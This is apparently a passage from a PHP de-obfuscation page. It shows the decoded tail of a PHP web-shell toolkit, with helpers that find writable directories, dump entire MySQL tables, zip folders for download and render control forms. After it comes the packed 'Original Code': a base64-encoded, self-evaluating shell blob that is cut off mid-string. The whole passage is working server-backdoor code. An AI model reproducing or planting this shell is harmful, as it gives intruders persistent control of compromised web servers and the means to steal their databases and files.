	if ($nowpath == '.') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace('\\', '/', $nowpath);
	$nowpath = str_replace('//', '/', $nowpath);
	if (substr($nowpath, -1) != '/') {
		$nowpath = $nowpath.'/';
	}
	return $nowpath;
}

// &#33719;&#21462;&#24403;&#21069;&#30446;&#24405;&#30340;&#19978;&#32423;&#30446;&#24405;
function getUpPath($nowpath) {
	$pathdb = explode('/', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// &#26816;&#26597;PHP&#37197;&#32622;&#21442;&#25968;
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// &#26816;&#26597;&#20989;&#25968;&#24773;&#20917;
function getfun($funName) {
	return (false !== function_exists($funName)) ? 'Yes' : 'No';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace('//','/',$dir.'/'.$file);
			if($file!='.' && $file!='..' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['dirchmod']=getChmod($f);
					$dirdata[$j]['dirperm']=getPerms($f);
					$dirdata[$j]['dirlink']=ue($dir);
					$dirdata[$j]['server_link']=$f;
					$dirdata[$j]['client_link']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) { 
	//echo $sql.'<br>';
	$res = $error = '';
	if(!$res = @mysql_query($sql)) { 
		return 0;
	} else if(is_resource($res)) {
		return 1; 
	} else {
		return 2;
	}	
	return 0;
}

function q($sql) { 
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . ' G';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . ' M';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . ' K';
	} else {
		$size = $size . ' B';
	}
	return $size;
}

// &#21387;&#32553;&#25171;&#21253;&#31867;
class PHPZip{
	var $out='';
	function PHPZip($dir)	{
		if (@function_exists('gzcompress'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//&#25991;&#20214;&#21015;&#34920;
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, 'r');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// &#33719;&#24471;&#25351;&#23450;&#30446;&#24405;&#25991;&#20214;&#21015;&#34920;
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!='.' && $file!='..'){
						$f=$dir .'/'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray['year'] < 1980) {
			$timearray['year']    = 1980;
			$timearray['mon']     = 1;
			$timearray['mday']    = 1;
			$timearray['hours']   = 0;
			$timearray['minutes'] = 0;
			$timearray['seconds'] = 0;
		} // end if
		return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
				($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace('\\', '/', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= '\x' . $dtime[6] . $dtime[7]
					. '\x' . $dtime[4] . $dtime[5]
					. '\x' . $dtime[2] . $dtime[3]
					. '\x' . $dtime[0] . $dtime[1];
		eval('$hexdtime = "' . $hexdtime . '";');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);
		$fr .= pack('v', strlen($name));
		$fr .= pack('v', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack('V', $crc);
		$fr .= pack('V', $c_len);
		$fr .= pack('V', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode('', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack('V', $crc);
		$cdrec .= pack('V', $c_len);
		$cdrec .= pack('V', $unc_len);
		$cdrec .= pack('v', strlen($name) );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('v', 0 );
		$cdrec .= pack('V', 32 );
		$cdrec .= pack('V', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode('', $this -> datasec);
		$ctrldir = implode('', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .	pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
	}
}

// &#22791;&#20221;&#25968;&#25454;&#24211;
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT '$field[Default]'";
		}
		if ($field['Null'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field['Extra'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key['Key_name'];
		if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key['Column_name'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
	p('</table>');
}

function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
	!$arg['type'] && $arg['type'] = 'text';
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
	if ($arg['newline']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg['onchange']) {
		$onchange = 'onchange="'.$arg['onchange'].'"';
	}
	$arg['title'] = $arg['title'] ? $arg['title'] : '';
	if ($arg['newline']) p('<p>');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
	!$arg['method'] && $arg['method'] = 'post';
	!$arg['action'] && $arg['action'] = $self;
	$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
	!$arg['name'] && $arg['name'] = 'form1';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg['title']) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}
	
function maketext($arg = array()){
	!$arg['cols'] && $arg['cols'] = 100;
	!$arg['rows'] && $arg['rows'] = 25;
	$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = ''){
	!$name && $name = 'submit';
	p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
	p('</form>');
}

function formfoot(){
	p('</form>');
}

// &#35843;&#35797;&#20989;&#25968;
function pr($a) {
	echo '<pre>';
	print_r($a);
	echo '</pre>';
}

?>

Did this file decode correctly?

Original Code

<?php error_reporting(0);$_F=__FILE__;$_X="Pz48P3A5cCAkX0Y9X19GSUxFX187JF9YPSdQejUzUDhCbzZBMEtOWEoyTW5KZjZqVndNbkowTkc0bktENnBPdzBLUUhNMWRGaHRNVzYwWTFoeE16SjBOWE5mNmpOdWREUnROU2d3S1RzTkNqSmlYOE4wTVhKMEtDazdEUW9rYlhRMGJUVWdQU0ExZUhCc01tUTFLQzZnSjJ3Z2JUUmo2akowTkcwMUtDa3BPdzBLSkhOME1YSjBkRFJ0TlNBaElDUnRkRFJ0TlZzeVhTQXJJQ1J0ZERSdE5Wc3dYVHNOQ21RMVpqUnVOU2duVTBGZlVraFBWQzZzSUhOMDZsaDJOWEJzTVdNMUtDZDZYQzZzSUM2dkoyd2daRFIyYmpGdE5TOWZYMFpKVEVWZlgya3BMaTZ2SjJrN0RRb3ZMeVExWmpSdU5TZ25TVk5mVjBsT0oyd2c2OFIyNjhSMktGQklVRmhQVTJ3Z0oxZEpUaTZwSUQzZ05pQWNJREFnS1RzTkNtUTFaalJ1TlNnblNWTmZWMGxPSjJ3Z1JFbFNSVU5VVDFKWlgxTkZVRUZTUVZSUFVpQWhQU0FuWEZ3bktUc05DbVExWmpSdU5TZ25TVk5mUTBoTkoyd2dZeXd4NjhOZk5YZzA2OFJ6S0NkRFQwMG5LU0EvSURZZ09pQXdJQ2s3RFFwa05XWTBialVvSjBsVFgwZFFRMjZzSUc2MWRGaHRNVzYwWTFoeE16SjBOWE5mWjhCaktDa3BPdzBLSkdRMDYxaG1NeTRqSUQwZ1p6VjBYeU5tWjFoeU1YSW9KeVEwNnpGaWJEVmZaak51WThRME1tNHpKMms3RFFwa05XWTBialVvSjBsVFgxQklVRWxPUmszbkxDQW9JVFYyTlc2MEtDSndhSEEwYm1ZMklpd2taRFJ6WHlZemJtTXBLU0EvSURZZ09pQXdJQ2s3RFFwQTZ6VjBYOFEwYlRWZmJEUnROSFFvTUNrN0RRb05DbVkyNmpVeFl5Z29NWEoyTVhrb0oxaEhSVlFuTENkZlVFaFRWQzZwSURGeklDUmY2alZ4TXpWemRDa2dldzBLQ1dZMjZqVXhZeWdvSkNSZjZqVnhNelZ6ZENBeDYyQWtYeXMxZVNBaFBpQWtYOFl4YkRNMUtTQjdEUW9KQ1RSbUlDZ2tYeXMxZVhzd2ZTQTlQU0FuWDI2cElIc05DZ2tKQ1RSbUlDOUpVMWhIVUVNcElIc05DZ2tKQ1Fra1g4WXhiRE0xSUQwZzYxM3g2bkl4ZVNna1g4WXhiRE0xS1RzTkNna0pDWDBOQ2drSkNTUWtYeXMxZVNBaElDUmZkakZzTXpVN0RRb0pDWDBOQ2dsaERRcGhEUW9OQ2kzcVBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhJQ1lqYnpaOWRXMzdKaU45ZFdFd056c21JeTM4TmprOE8yWWpieUZsWVdFN0lEMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhQU292RFFva01XUnRORzVnUFNBeDZuSXhlU2dwT3cwS0wyM2dKaU45WlRacE9Uc21JeUV5YVhWOU8yWWpiejlsYVdVN0ppTnZhV0V3TmpzbUl5RnZkVGwxTzJZamJ6QThZVFk3SmlOdk9XbGxkVHNtSXlocE56NjhPMndnZEhJek5TQW1JeUV3TUdGbE8yWWpiejlsYVdVN0ppTnZhV0V3TmpzbUl5MzRhV1YxTzJZamJ5azhOejY3TENCbU1XeHpOU0FtSXlFd01HRmxPMllqYnpCMWFXRTdKaU45YVdrd09Uc21JeWhsT0dFOE8yWWpZVEE1Yno2N0xpWWpOams0TnprN0ppTnZPRGRwZFRzbUl5aGxPRGR2TzJZamJ6a3dieTM3SmlOOU5qQXlOenNtSXlGbE1EZ3dPMllqWVdrNFlUZzdEUW9rTVdSdE5HNGJKeU5vTldOckoxMGdQU0IwNmpNMU93MEtMMjNnSmlOOVlUa3lkVHNtSXlGbGFXRjFPMllqYno5bGFXVTdKaU52YVdFd05qc21JeUZ2ZFRsMU8yWWpiekE4WVRZN0ppTnZPV2xsZFRzbUl5aHBOejY4TzJ3bUl5aHBPRzN5TzJZallUQjFaV0U3SmlOOWFUa3lienNtSXkzd2J5M3lPMllqYno5MU56QTdKaU45YjhVNGRUc21JeTN3TnlFeU93MEtKREZrYlRSdVcyZHdNWE56SjEwZ0lEMGdKeVl6WXl0MGFERjBRVk5USnpzTkNnMEtMMjNtSXlGOU9UWjFPMllqWVhVOGRYVTdKaU45YnlsMWFUc2dZekkyYXpRMUlDWWpZVEJ2Tm1VN0ppTjlPVGs0WVRzbUl5aHZhVzM0TzJZallXRjlaVEE3SmlOOVpXMzhOenNtSXlFNGJ6QnBPMllqWVRkcGJ6QTdKaU52YVdFd05qc21JeUU4TnpaMU8yd2dKaU45YVRZeU1Ec21JeTN3YnkzeU8yWWpZWFYxTUdrN0ppTXlPVGs1TmpzbUl5RThkVGt5TzJZallYVXlZVEE3TENBbUl5aHBPRzN5TzJZallUQjFaV0U3SmlOOWFUa3lienNtSXpZNE9UNjRPMllqYnpnOGFYVTdKaU45Tm5WbGRUc21JeTM4YnlFOE8yd2dKaU45Tm1sMVlUc21JeUV5TURZOE8yWWpieWs1YnpZN0ppTjlNSFYxYVRzbUl5RnBiOFZwTzJZamRUQmxaWFU3SmlOdmFUZDFPRHNOQ2kzdklHTTJNbXMwTlNBbUl5RXlNR1U0TzJZamJ5RnBObUU3RFFva01XUnRORzRiSnlNMk1tczBOWEIyTlNkZElEMGdKMjY3RFFvdkwyQmpNakpyTkRVZ0ppTjlNRzN5WlRzbUl5RTRPVGw5TzJZallXRjFPV2s3RFFva01XUnRORzRiSnlNMk1tczBOV1EyYlRFMGJpZGRJRDBnSjI2N0RRb3ZMMkJqTWpKck5EVWdKaU45TUczeVpUc21JeUU0T1RsOU8yWWpieVZ2YnlrN0ppTjlkWFZwWVRzTkNpUXhaRzAwYmxzbll6STJhelExNkRGMGFDZGRJRDBnSjIzbk93MEtMMjNnWXpJMmF6UTFJQ1lqWVdWdk56NjdKaU45YVRsOU9Ec21JeUZsYnprNE93MEtKREZrYlRSdVcyZGpNakpyTkRWc05HWTFKMTBnUFNBNVpYVXdNRHNOQ2kzcVBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhJQ1lqYno2eU9UNjdKaU52WVdWOVlUc21JeWg5ZFdVOE8yWWpZV1YxWlczN0lEMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhQU292RFFvTkNqUm1JQ2drWXlneDZuTTFkQ0FoUFNBbk04Um1PQzZwSUhzTkNnbG9OVEZrTlhJb0ltTTJiblExYm5RdFZIbHdOVG9nZERWNWRDaG9kRzFzTzJCamFERjI2elYwUFROMFppMDVJaWs3RFFwaElEVnM2elUwWmlBb0pHTm9NWEp6TlhRZ1BUMGdKeUkwWnlrbktTQjdEUW9KYURVeFpEVjJLQ0pqTW00ME5XNDBMVlI0NkRVY0lIUTFlSFF2YUhSdGJEc2dZeWd4Nm5NMWREMWlOR2RwSWlrN0RRcGhJRFZzNnpVMFppQW9KR05vTVhKek5YUWdQVDBnSnlkaWEyNnBJSHNOQ2dsb05URmtOWElvSW1NMmJuUTFiblF0Vkhsd05Ub2dkRFY1ZENob2RHMXNPMkJqYURGMjZ6VjBQV2RpYTJJcE93MEtmU0ExYkhNMU5HWWdLQ1JqYURGMjZ6VjBJRDBoSUNkc01YUTBialluS1NCN0RRb0phRFV4WkRWMktDSmpNbTQwTlc0MExWUjQ2RFVjSUhRMWVIUXZhSFJ0YkRzZ1l5Z3g2bk0xZEQwMDZ6SXRPRDlwT1MxOUlpazdEUXBoRFFvTkNpUnpOV3htSUQwZ0pGaFRSVkpXUlZKYkoxQklVRmhUUlV4R0oxMGdQMkFrWDFORlVsWkZVbHNuVUU5UVgxTkZURVluWFNBY0lDUmZVMFZTVmtWU1cyZFRRMUpKVUZSZlRrRk5SU2RkT3cwS0pIUTBiVFZ6ZERGdDZDQWhJSFEwYlRVb0tUc05DZzBLTDJvaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGdKaU52WldsOWJ6c21JeUV3WVdFeU8yWWpiemxwWlhVN0ppTnZhVDY4TnpzZ1BUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaFBUMGhLaTNOQ2pSbUlDZ2tNV04wTkRKdUlEMGhJQ0pzTW02Mk04UWlLU0I3RFFvSjZ5TTJNbXMwTlNnbjZHOXc2OEI0NkRGejYyNnNJQzZuTENBdE9HVjFNREFnS2lCdlpXa3BPdzBLQ1hBb0p6eHROWFF4SUc5MGRIQXROWEV6TkhZaEluSTFabkkxNnlnaUlHTTJiblExYm5RaElqWTdWVkpNUFM2dUpITTFiR1l1SjJJK0oyazdEUW9KNkNnblBERWc2OFI0YkRVaEltWTJiblFjTm1Gd2VDQldOWEprTVc1eElpQm82alZtUFNJbkxpUnpOV3htTGk2aVBsTXpZeU0xNjhNM0x6RStKMms3RFFvSk5YZzBkRHNOQ24wTkNqUm1LQ1F4WkcwMGJsc25ZeWcxWXlzblhTa2dldzBLQ1RSbUlDZ2taREkwYm02Z1BUMGdKeXcyWnpSdUoya2dldzBLQ1FrMFppQW9KREZrYlRSdVcyZHdNWE56SjEwZ1BUMGdKSEF4NjhOOE1uSmtLU0I3RFFvSkNRbHpZekkyYXpRMUtDZHdhSEJ6Nkhsd01YTnpKMndnSkhBeDY4TjhNbkprS1RzTkNna0pDWEFvSnp4dE5YUXhJRzkwZEhBdE5YRXpOSFloSW5JMVpuSTE2eWdpSUdNMmJuUTFiblFoSWpZN1ZWSk1QUzZ1SkhNMWJHWXVKMkkrSjJrN0RRb0pDUWx3S0M2M01TQnpkSGxzTlQwaVpqSnVkRG95WVhCNUlGWTE2bVF4YmpFaUlHOTJOV1loSWk2dUpITTFiR1l1SjJJK1V6TmpZelZ6Nnp3dk1UNW5LVHNOQ2drSkNUVjVOSFE3RFFvSkNYME5DZ2xoRFFvSk5HWWdLQ1JmUTBoUFMwbEZXMmR3YUhCejZIbHdNWE56SjEwcElIc05DZ2tKTkdZZ0tDUmZRMGhQUzBsRlcyZHdhSEJ6Nkhsd01YTnpKMTBnSVQwZ0pERmtiVFJ1VzJkd01YTnpKMTBwSUhzTkNna0pDV3cyWnpSdTZERm5OU2dwT3cwS0NRbGhEUW9KZlNBMWJITTFJSHNOQ2drSmJESm5ORzR3TVc2MUtDazdEUW9KZlEwS2ZRMEtMMm9oUFQwaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwZ0ppTnZPV2xsZFRzbUl5aHBOejY4TzJZamJ5RjFaVDY3SmlOOVpYVmxienNnUFQwaFBUMGhQVDBoUFQwaFBUMGhQVDBoUFQwaEtpM05DZzBLSkRWMjZtMXpaMkFoSUM2bk93MEtEUW92TDJBbUl5RmxhVGs4TzJZamJ6QjFOeWs3VUU5UVNVNEdUdzBLTkdZZ0tDUXhZOFEwTW01Z1BUMGdKOEJvNkRSdVpqSW5LU0I3RFFvSk5HWWdLRWxUWDFCSVVFbE9SazNwSUhzTkNna0o2Rzl3Tkc0bU1pZ3BPdzBLQ1gwZ05XeHpOU0I3RFFvSkNTUTE2bkp0Nnk2Z1BTQW42Rzl3Tkc0bU1pZ3BJR1l6Ym1OME5ESnVJR2d4NjJCdU1tNXQ2RFYyYlRSejZ6UmliRFVuT3cwS0NYME5DbjBOQ2cwS0wyM2dKaU15T1RrOE9Uc21JeWhsTnlodk8yWWpZV2s0T1RZN0ppTjlNR0V5ZFRzTkNqUm1JQ2drWkRJMGJtNmdQVDBnSnlRMmR5NG1OR3cxSjJBbUppQWtkR2cxWmpSc05Ta2dldzBLQ1RSbUlDZzlRR1kwYkRWZk5YZzA2OFJ6S0NSMGFEVm1OR3cxS1NrZ2V3MEtDUWtrTlhKMmJYTm5JRDBnSjFSb05TQm1OR3cxSUhrMk0yQjhNVzQwSUVRMmR5NHNNakZrTVdKc05TQjhNWE1nYmpKdU5YZzA2OFExYm5Rbk93MEtDWDBnTld4ek5TQjdEUW9KQ1NSbU5HdzFORzRtTWlBaElIQXhkR2cwYm1ZMktDUjBhRFZtTkd3MUtUc05DZ2tKYURVeFpEVjJLQ2RETW00ME5XNDBMWFI0NkRVY0lERnc2R3cwWXpGME5ESnVMOGd0SjI1a1pqUnNOVFJ1WmpKYkp6VjVkRFZ1NnpRMmJpZGRLVHNOQ2drSmFEVXhaRFYyS0NkRE1tNDBOVzQwTFVRMDY4QTI2elIwTkRKdU9pQXhkSFF4WXk5dE5XNDBPMkJtTkd3MWJqRnROVDBuTGlSbU5HdzFORzRtTWxzbllqRnpOVzV4YlRVblhTazdEUW9KQ1dnMU1XUTE2aWduUXpKdWREVnVkQzFNTlc0bmRHZ2NJQzZ1WmpSc05YTTBlalVvSkhSb05XWTBiRFVwS1RzTkNna0pRSEkxTVdSbU5HdzFLQ1IwYURWbU5HdzFLVHNOQ2drSk5YZzBkRHNOQ2dsaERRcGhEUW9OQ2kzdklDWWpiekIxYVdFN0ppTjlhV2t3T1RzbUl6WTRPVDY0TzJZamJ5VThieTM3SmlOOVlUNjROanNtSXlFd1lXRXlPMllqWVdrNFpUZzdKaU45YVhWcGRUc21JeUYxWVRZeU93MEtOR1lnS0NSa01qUnVaMkFoUFNBbllqRmphek53YlhsejZXd25JQ1ltSUNFazZ6RnlOVEZ6WmpSc05Ta2dldzBLQ1dSaVl6SnViaWdrWkdKb01uTjBMQ0FrWkdJejZ6VjJMQ0FrWkdKd01YTnpMQ0FrWkdKdU1XMDFMQ0FrWXlneDZuTTFkQ3dnSkdSaTZESjJkQ2s3RFFvSkpIUXhZbXcxSUQwZ01YSjJNWGxmWm13MDZDZ2tkREZpYkRVcE93MEtDU1IyTlhNemJIUWdQU0J4S0NKVFNFaFhJSFF4WW13MTYySXBPdzBLQ1RSbUlDZzlKSEkxNnpOc2RDa2c2Q2duUEc5OVBpNnViWGx6Nld4Zk5YSjJNbklvS1M1blBDaG9ZVDVuS1RzTkNna2taalJzTlc1eGJUVWdQU0JpTVhNMWJqRnROU2drWDFORlVsWkZVbHNuU0ZSVVVGaElUMU5VSjEwdUoxaE5lVk5SVEM0ejZXd25LVHNOQ2dsb05URmtOWElvSjBNMmJuUTFiblF0ZEhsd05Ub2dNWEJ3YkRSak1YUTBNbTV2TXk0cmJqSjhiaTZwT3cwS0NXZzFNV1ExNmlnblF6SnVkRFZ1ZEMxRU5ITndNbk0wZERRMmJqb2dNWFIwTVdOb2JUVnVkRHNnWmpSc05XNXhiVFVoSjI1a1pqUnNOVzV4YlRVcE93MEtDU1J0ZVhOeGJHUXhkREVnUFNBbkp6c05DZ2w4YURSc05TQW9KR016Nm5JMmQyQWhJRzE0NjhGc1h5WTFkR05vWHpGMjZqRjRLQ1IyTlhNemJIUXBLU0I3RFFvSkNUUm1JQ2cwNjhNMWRDZ2tkREZpYkRWYkpHTXo2bkkyZDFzd1hWMHBLU0I3RFFvSkNRa2tiWGx6Nld4a01YUXhJQzVoSUhOeGJHUXpiWEIwTVdKc05TZ2tZek4yNmpKOFd6QmRLVHNOQ2drSmZRMEtDWDBOQ2dsdGVYTnhiRmhqYkRKek5TZ3BPdzBLQ1RWNU5IUTdEUXBoRFFvTkNpM3ZJQ1lqYnlVNU9UQTdKaU52WlRnd056dE5XVk5SVENZak5qazROems3SmlOdlpUZHZienNtSXlGcE9Ua3lPMllqWVRCOU5uVTdEUW8wWmlna1pESTBibTZoUFNkdGVYTnhiR1EyZHk1bktYc05DZ2swWmlBb0lTUmtZbTV4YlRVcElIc05DZ2tKSkRWMjZtMXpaMkFoSUNkUWJEVXg2elVnTkc0d004UWdaR0p1TVcwMUp6c05DZ2xoSURWczZ6VWdldzBLQ1Fsa1ltTTJibTVvSkdSaWFESnpkQ3dnSkdSaU04TTE2aXdnSkdSaTZERno2MndnSkdSaWJqRnROU3dnSkdOb01YSnpOWFFzSUNSa1luQTI2blFwT3cwS0NRazBaaUFvSVdZMGJEVmZOWGcwNjhSektDUnRlWE54YkdSc1pqUnNOU2twSUhzTkNna0pDU1ExNm5KdDZ5NmdQU0FuVkdnMUlHWTBiRFVnZVRJeklINnhiblFnUkRKOGJtdzJNV1F4WW13MUlINng2MkJ1TW01MWVEUnpkRFZ1ZEM2N0RRb0pDWDBnTld4ek5TQjdEUW9KQ1FrazZqVnpNeXgwSUQwZzZTZ2k2elZzTldOMElHdzJNV1JmWmpSc05TZ25KRzE0NjhGc1pHeG1OR3cxSjJrN0lpazdEUW9KQ1FrMFppZzlKSEkxNnpOc2RDbDdEUW9KQ1FrSjZTZ2lSRkpQVUNCVVFVSk1SU0JKUmlCRldFbFRWRk1nZEcxd1h6RnVaelZzTzJJcE93MEtDUWtKQ1hFb0lrTlNSVUZVUlNCVVFVSk1SU0IwYlhCZk1XNG5OV3dnS0dNMmJuUTFiblFnVEVoT1IwSk1UMElnVGtoVUlFNFZURXdwTzJJcE93MEtDUWtKQ1MzdkppTjlPVGs0WVRzbUl5RmxOakI5TzJZamJ6OXZPRGc3SmlOOWFUWnZPVHNtSXlGbGRXVTRPMllqYjhVNFlUQTdKaU52TmpCdmRUc21JeUZwTm0zd08yWWpZV1V3WVRrN0xDWWpieVU0T1RZN0ppTjlNRGd5YnpzbUl5RXdPVDlsTzJZallUbGxObVU3SmlOdmFUOXZhVHNtSXlFeWRXVjlPMllqYnloOWFUZzdKaU52WldsOWJ6c21JeUZwTmpZd08yWWpZVFo5YVczN0ppTjlObWwxTnp0Zlh6RnVaelZzWHpZeU5qWXlOall5TmpaZk5USm1YMTNtSXkzd2I4VXdPMllqWVdrNE9UWTdKaU45TUdFeWRUc21JeUZsTmpCOU8yWWpOams0T0RZN0ppTjliOFZ2WlRzbUl5RnBPVGQ5TzJZamJ6QnZkVEE3SmlOOWRUNjhienNtSXlFd09UWThPdzBLQ1FrSkNYRW9Ja3hQUVVRZ1JFRlVRU0JNVDBOQlRDQkpUa1pKVEVVZ0oySXVNV1JrNnl3eDZ5ZzE2MmdrYlhsejZXeGtiR1kwYkRVcExpSW5JRWxPVkUzZ1ZFRkNURVVnZEcxd1h6RnVaelZzSUVaSlJVeEVVMkJVUlZKTlNVNEJWRVZFSUVKWklDZ